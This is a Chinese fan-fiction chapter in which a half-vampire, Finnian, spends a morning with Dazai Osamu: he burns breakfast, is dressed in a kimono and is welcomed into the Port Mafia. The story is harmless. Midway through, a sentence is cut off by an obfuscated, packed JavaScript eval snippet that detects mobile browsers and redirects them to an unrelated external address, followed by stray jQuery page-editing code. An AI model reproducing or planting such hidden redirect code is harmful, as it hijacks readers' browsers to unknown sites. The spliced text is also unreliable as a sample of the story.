清晨熹微的光线透过厚重的窗帘缝隙,吝啬地洒在菲那恩的眼睑上。
他纤长的银白色睫毛颤动了几下,才费力地睁开沉重的眼帘。
他发现自己躺在柔软的床上,身上盖着轻暖的被子,动了动,脚踝上的银环发出细微的轻响。
昨夜混乱的记忆碎片瞬间涌入脑海——
他的手指逐渐收紧,为什么那些血浆会让他这么难受……?
到底怎么回事,是身体错觉……还是真的?
这对于一个血族来说可不是好事情,人类可是会死的。
然而他是半血族,并没有将人类初拥为血族的能力,一旦太宰治死去……
不过他可是菲那恩·德·图拉尔,改变人类细胞活性的秘术,稍微用点时间研究,大概就能研究出来。
不受待见的混血,天赋却出奇地高,可真讽刺啊。
菲那恩深呼吸一口气,喃喃自语道:“算了,先不想了,先去看看太宰在干嘛。”
他轻巧地滑下床,赤足踩在冰凉的地板上,几乎没有发出声音。
他身上还穿着昨夜那套深灰色的居家服,柔软的布料贴着皮肤,但此刻他全部的注意力都被那股刻骨铭心的气息源头吸引——那股清冽中带着一丝独特甘甜的血气,从隔壁房间传来。
门没有锁。
菲那恩推开一条缝隙,溜了进去。
房间里拉着厚重的遮光窗帘,光线昏暗。太宰治深陷在宽大的床铺中,被子蒙过头顶,只露出一绺凌乱的黑发。
他整个人蜷缩着,像一个用被子筑起的堡垒,散发着浓重的“生人勿近”和“极度疲惫”的气息。
感觉太宰有点可爱……
菲那恩在床边跪坐下来,双臂交叠搁在床沿,下巴轻轻枕在手背上。
他就这样安静地、一动不动地凝视着床上那个鼓起的被团,粉色长发柔顺地垂落在身侧和床单上,在昏暗中泛着微光。
他屏住呼吸,睁大了那双红宝石般的眼睛,一眨不眨地、极其专注地凝视着床上熟睡的人。
从太宰治微蹙的眉头,到覆盖着绷带的半张脸,再到随着呼吸微微起伏的肩线……每一个细节都落在他专注的目光里。
时间在寂静中流淌,阳光似乎努力想穿透厚重的窗帘,房间里比刚才亮了一些。
太宰治的睡眠非常浅,对视线更是有着近乎本能的警觉。
被团里传来一声模糊的、仿佛濒死般的呻吟。
紧接着,被子被粗暴地掀开一角,露出太宰治那张写满“生无可恋”的脸。
他眼下是浓重得化不开的、如同晕染开的墨色般的黑眼圈。
太宰治极其不情愿地、像被粘稠黑暗拖拽着般,缓慢地掀开了沉重的眼皮。
视线还有些模糊,但对焦的瞬间,就精准地捕捉到了床边那个几乎要贴上来的粉色脑袋,以及那双在昏暗中亮得惊人的、直勾勾盯着他的赤红眼眸。
“…………” 太宰治的大脑空白了一瞬,随即被一股混合着“果然如此”的荒谬感和“大清早被吸血鬼当珍稀动物观赏”的极度烦躁填满。
他猛地拉高被子,把自己连头带脸蒙了个严严实实,声音隔着被子闷闷地传出来,带着浓重的睡意和毫不掩饰的起床气:“菲那恩……你是打算用你的眼神在我脸上烧出两个洞吗?!”
菲那恩完全没有被他的低气压吓退,反而因为他的醒来,眼中亮光更盛。
他又往前凑了凑,“太宰,你醒了!”
那语气,活像是发现了什么了不起的奇迹。
太宰治猛地掀开被子坐起身,头发乱得像鸡窝,鸢色的眼睛里充满了睡眠不足的血丝和“我现在很想把某个麻烦精扔出窗外”的暴躁。
“托你的福。”他没好气地回道,揉了揉突突直跳的太阳穴,“大清早不睡觉,趴在我床边当石像鬼?”
“我睡醒了。”菲那恩回答得理所当然,甚至带着点小骄傲,“而且,睡得很舒服。”
太宰治瞥了他一眼,烦躁地抓了抓头发,决定暂时忽略这个话题:“所以,你把我盯醒,就是为了告诉我你睡得很好?”
“不是。”菲那恩立刻摇头,粉色的长发跟着晃动。他赤红的眼眸里闪过一丝迷茫,然后被一种更原始的感觉取代——一种空落落的、来自胃部的感觉。
“……我饿了。”他小声补充道,声音带着点委屈。
太宰治的眉头皱得更紧了,几乎能夹死苍蝇:“……哈?饿了?”
他简直要被气笑了,“菲那恩,容我提醒你一下,就在不到五个小时前,我才‘慷慨地’贡献了自己宝贵的血液给你当宵夜。”
菲那恩被他的质问弄得有点懵,他歪了歪头,粉色长发滑落肩头,认真地解释:“不是血……是那种饿。”
他指了指自己的腹部,“这里,空空的,感觉很奇怪,想要……被填满。”
他努力寻找着人类形容饥饿的词汇,“就是……想吃东西,像人类那样。”
其实纯血族是无法食用人类食物的,而菲那恩这只半血族,属于是血液喝不饱,那就吃人类食物填肚子,只是会没有营养罢了。
太宰治盯着他那张写满无辜和生理需求的脸,鸢色的眼眸里充满了绝望。
他重重地叹了口气,像被抽走了所有力气,重新倒回枕头上,用被子蒙住头,声音闷闷地传来,带着最后的挣扎:“厨房在那边……冰箱里有食材……自己看着弄点吃的,别指望我,我做的东西都不是人能吃的……”
说完,被团里彻底没了声息,仿佛已经当场去世。
菲那恩看着那个重新裹紧的“堡垒”,眨了眨赤红的眼睛。
自己……弄吃的?
他带着一丝新奇和“这应该不难”的莫名自信,赤着脚,悄无声息地溜出了太宰治的房间,直奔厨房。
厨房很宽敞,设备齐全。
菲那恩站在巨大的双开门冰箱前,拉开了门,里面有不少食材,花花绿绿,看得他眼花缭乱。
他拿出几个鸡蛋,一盒牛奶,又看到一块包装好的火腿。
嗯,看起来都像是能吃的。
他学着记忆中模糊的人类动作,把平底锅放在一个发着蓝光的圆盘上(电磁炉),然后倒进去……一整盒牛奶?
接着,他笨拙地试图单手打鸡蛋,蛋壳碎了一手,蛋液有一半流到了灶台上。剩下的几个鸡蛋也遭遇了同样的命运,狼狈地混在牛奶里。
最后,他把整块火腿直接扔进了这锅黏糊糊的混合物里。
菲那恩满意地看着自己的“杰作”,找到了一个旋钮,凭感觉拧到了最大——那蓝光瞬间变得刺眼而炽热。
他抱着手臂,期待地看着锅里。
几秒钟后,刺鼻的焦糊味开始弥漫。
锅里的牛奶鸡蛋混合物迅速沸腾、冒泡,然后边缘开始发黑、碳化,滋滋作响的声音越来越大,浓烟滚滚升起,火腿片在沸腾的焦糊泥浆里沉浮……
“嗯?”菲那恩困惑地凑近,被浓烟呛得咳嗽起来,“怎么……好像不对……”
就在这时——
“砰!”
一声不算剧烈但足够惊悚的闷响,锅里的混合物因为过热和水分急剧蒸发,发生了小规模的喷溅,焦黑的蛋液和牛奶混合物如同微型火山爆发般溅射出来,糊满了灶台和菲那恩身前的深灰色居家服,浓烟警报器尖锐地嘶鸣起来。
“啊啊!”菲那恩被烫得轻叫一声,手忙脚乱地想关掉那个发蓝光的圆盘,却找不到正确的旋钮,反而把旁边的水龙头打开了,水哗哗地流进旁边一个干烧的空锅里,发出更恐怖的滋滋声,蒸汽和焦烟混合在一起——厨房瞬间变成了灾难现场。
下一秒,太宰治的身影如同鬼魅般出现在厨房门口。
他头发凌乱,脸色铁青,眼下的黑眼圈在烟雾缭绕中显得更加恐怖,身上还穿着菲那恩同款居家服。
他看着眼前狼藉一片的厨房,以及那个站在灾难中心、一脸无辜和茫然的“罪魁祸首”,只觉得眼前一黑。
其实……倒也不是那么意外。
太宰治深深地叹了口气,“去客厅待着,在我收拾完这个‘战场’之前,不准靠近厨房半步。”
菲那恩突然莫名其妙地起了反骨,蹙眉,“为什么?”
“……”太宰治无语了,非但不怕,反而幽幽地盯着菲那恩,“好啊,我尊贵的吸血鬼大人,那你来收拾?”
菲那恩一想到刚刚厨房恐怖的模样,头摇得跟拨浪鼓一样,“不不不,我觉得我还是去客厅待着比较好……”
随后他立刻像受惊的兔子一样,飞快地溜出了厨房,乖乖坐到客厅的沙发上,还偷偷用眼角余光瞟着厨房门口。
他抱着膝盖,听着厨房里传来的擦洗声,莫名地感到一阵心虚,脚踝上的银环随着他不安的晃动,发出细微的轻响。
太宰治把厨房大致收拾完毕,就开始做早餐。
众所周知,太宰治喜欢做黑暗料理,但是真要做正常饭也是会做的。
他今天没有打算做黑暗料理,或许是想起昨天晚上的事,对菲那恩的莫名的愧疚吧。
他的动作意外地异常利落精准,整个过程行云流水,没有一丝多余的动作,与刚才菲那恩制造的灾难现场形成了鲜明对比。
很快,两份色泽金黄、香气扑鼻的滑蛋,两片烤得恰到好处、边缘微焦的吐司,以及两杯温热的牛奶就被端到了客厅的小桌上。
食物的香气驱散了残留的焦糊味。
太宰治把一份推到菲那恩面前,自己拿起另一份,声音没什么精神,“你吃完把盘子洗了吧。”
他顿了顿,抬眼看向菲那恩,“你应该不会把盘子打碎吧,菲那恩君?”
菲那恩信誓旦旦地说道:“当然不会,这么简单的事情我还是能做好的。”
太宰治半信半疑地点了点头。
菲那恩看着眼前热气腾腾、散发着诱人香气的食物,又偷偷瞄了一眼太宰治。
他拿起叉子,小心翼翼地戳了一块滑蛋放进嘴里——温润、嫩滑、带着奶香和黄油香,瞬间抚慰了他空空如也的胃。
“好吃!”菲那恩的眼睛瞬间亮了,立刻埋头专注地吃了起来。
太宰治看着他狼吞虎咽的样子,面无表情地吃着自己那份,只是紧皱的眉头似乎稍微松动了那么一丝丝。
吃完早餐,菲那恩果然又被那巨大的樱粉色和服礼盒吸引了。
他放下空盘子,指着盒子:“那个粉色的衣服,我想穿那个!”
他的表情很认真,带着一丝显而易见的困惑和为难:“但我不会穿。”他顿了顿,补充道,“人类的衣服……太复杂了。”
太宰治放下牛奶杯,瞥了一眼角落那个巨大的礼盒,又看了看菲那恩身上那件沾着焦糊污渍的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337548|183387||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
深灰色居家服,嘴角不受控制地抽搐了一下。
他重重地、长长地叹了口气,仿佛要把肺里的空气都叹光,最终还是认命了,“算了,我教你吧。”
太宰治走过去,扯开精致的包装丝带,打开盒子。
里面静静躺着一套简约低调的樱粉色男士和服,柔滑的丝绸面料上织着精美的暗纹,配着同色系的腰带和白色足袋。
“站好,别动。”太宰治的声音没什么起伏,动作却意外地熟练,手指灵巧地展开衣物,如同在精心装扮一个大型人偶。
菲那恩乖乖站着,感受着微凉的布料贴上皮肤,目光牢牢粘在太宰治那张介于少年和青年之间的脸蛋上。
如此近的距离,细细描摹着对方的轮廓。
那双总是盛满了令人捉摸不透情绪的鸢色眼眸此刻低垂着,专注地整理着和服的襟口,长而密的睫毛在眼下投下一小片扇形的阴影,随着他细微的动作轻轻颤动。
菲那恩的视线滑过对方挺直的鼻梁,落在那总是勾着似笑非笑弧度的唇上。
此刻那唇瓣微微抿起,显出一种难得的、近乎认真的神态。
几缕不听话的黑色卷发垂落额前,与他耳际的绷带边缘交织,竟有一种脆弱又奇异的美感。
他甚至无意识地放缓了呼吸,生怕惊扰了此刻的宁静。
原来人类真的可以长得这样……好看,比他记忆中任何一件冰冷的艺术品,任何一座孤寂的古堡雕像,都要生动得多。
他看得太过入神,以至于完全没注意到太宰治手上的动作何时停了下来。
腰间突然一紧。
“呜唔……!”菲那恩猝不及防地倒吸一口凉气,腰带被太宰治恶作剧般地收紧了一寸,勒得他差点岔气。
但他还是强忍着没动,只是用控诉又无辜的眼神看着始作俑者。
太宰治凑近了些,脸上挂着令人心底发毛的、过分灿烂的微笑,鸢色的眼眸却深不见底,紧盯着菲那恩那双因吃痛而更显水润的红眸:“菲那恩君刚才是不是在想什么很失礼的事情呢?”
菲那恩身体瞬间僵硬,面无表情地将头用力扭向一边,避开那仿佛能看透人心的视线:“没什么!我什么也没想!”
说着,他没忍住向后退了一步。
下一秒,腰带猛地被扯住,将他踉跄地拽回原地。
“说了,别动。”太宰治的声音带着不易察觉的掌控感。
“知道了。”菲那恩小声嘟囔,彻底老实了。
他知道刚刚是自己的目光太过无礼,因此也不敢再明目张胆地盯着对方的脸看。
接下来的穿衣过程,他变得异常乖巧,让抬手就抬手,让转身就转身,像个被设定好程序的精致玩偶。
不一会儿,樱粉色的和服便妥帖地穿在了他身上,尺寸竟意外地合身。
“嗯~”太宰治退后一步,上下打量着焕然一新的菲那恩,嘴角勾起一抹真心的、带着欣赏的弧度,“很适合你哦。”
菲那恩走到穿衣镜前,看着镜中的自己,微微有些出神。
镜子里的人影,熟悉又陌生。丝绸的触感柔滑微凉,带着一种他从未体验过的、属于此世此地的细腻。
简约的剪裁勾勒出他略显纤细的腰身宽大的袖口垂落,露出一截白皙的手腕,脚踝上的银环在衣摆下若隐若现。
一种极其微妙的感觉,如同投入湖心的石子,在他沉寂的心湖中漾开一圈圈涟漪。
而是一种更深沉的、近乎颠覆性的认知——这身衣服,与他过往世界里的一切都截然不同。
它不属于那个冰冷、肃杀、弥漫着腐朽气息和古老规则的旧世界。
它属于这里,属于横滨,属于这个充斥着喧嚣、混乱、却也带着奇异生机的钢铁丛林。
它柔软,带着温度,带着一种属于当下的、属于人类的烟火气。
——他真的……不在原来的世界了。
那个他厌恶的、充满束缚与冰冷的旧世界,连同那具被打碎的水晶棺椁一起,被留在了时空的另一端,成为了模糊的背景。
这个认知并非此刻才出现,但在此刻,在穿上这身格格不入却又意外契合的樱色和服时,才变得如此清晰、如此深刻、如此……具象化。
或许,在这个全新的、混乱的世界里,一切真的都可以重新开始?以一个新的身份,穿着新的衣服,拥有……新的可能?
“太宰……”菲那恩的声音很轻,带着一丝不易察觉的恍惚,他转过头,看向倚在门框边的太宰治,眼神里是纯粹的困惑与确认,“我穿这个……真的……很不一样。”
太宰治看着镜前怔忪的菲那恩,看着他眼中那抹因新世界实感而生的、近乎天真的迷茫,嘴角那抹欣赏的笑意加深了,带着一种掌控者目睹棋子踏入预设轨道的了然与玩味。
“当然,”他轻轻拍了拍手,掌声在寂静的房间里显得格外清晰,“——欢迎加入港口mafia,菲那恩君。”
“这里的一切,都会很‘不一样’。”他的声音温和依旧,却在那“不一样”三个字上,落下了意味深长的重音。
菲那恩的目光重新落回镜中那个樱色的身影上。
他不再只是看着一件衣服,而是看着一个全新的、已然开启的篇章。
一个他厌恶的旧世界彻底远去,而前方,是属于横滨的、未知的、或许……也并非全然无望的新生。